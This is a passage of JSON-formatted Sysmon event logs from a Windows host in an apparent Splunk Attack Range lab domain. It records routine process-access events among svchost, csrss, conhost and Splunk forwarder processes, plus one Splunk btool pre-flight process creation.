C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3452,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3453,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-0010272F0500}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-0010272F0500}","TargetProcessId":"1552","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3454,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.058\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-0010272F0500}\r\nSourceProcessId: 1552\r\nSourceThreadId: 3696\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.058","SourceProcessGUID":"{90617006-407C-5F2D-0000-0010272F0500}","SourceProcessId":"1552","SourceThreadId":"3696","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.147\r\nProcessGuid: {90617006-407D-5F2D-0000-001063330500}\r\nProcessId: 3952\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nParentProcessId: 4352\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.147","ProcessGuid":"{90617006-407D-5F2D-0000-001063330500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","ParentProcessId":"4352","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nSourceProcessId: 4352\r\nSourceThreadId: 2516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-001063330500}\r\nTargetProcessId: 3952\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18192|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","SourceProcessId":"4352","SourceThreadId":"2516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-001063330500}","TargetProcessId":"3952","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18192|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-001063330500}\r\nTargetProcessId: 3952\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-001063330500}","TargetProcessId":"3952","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 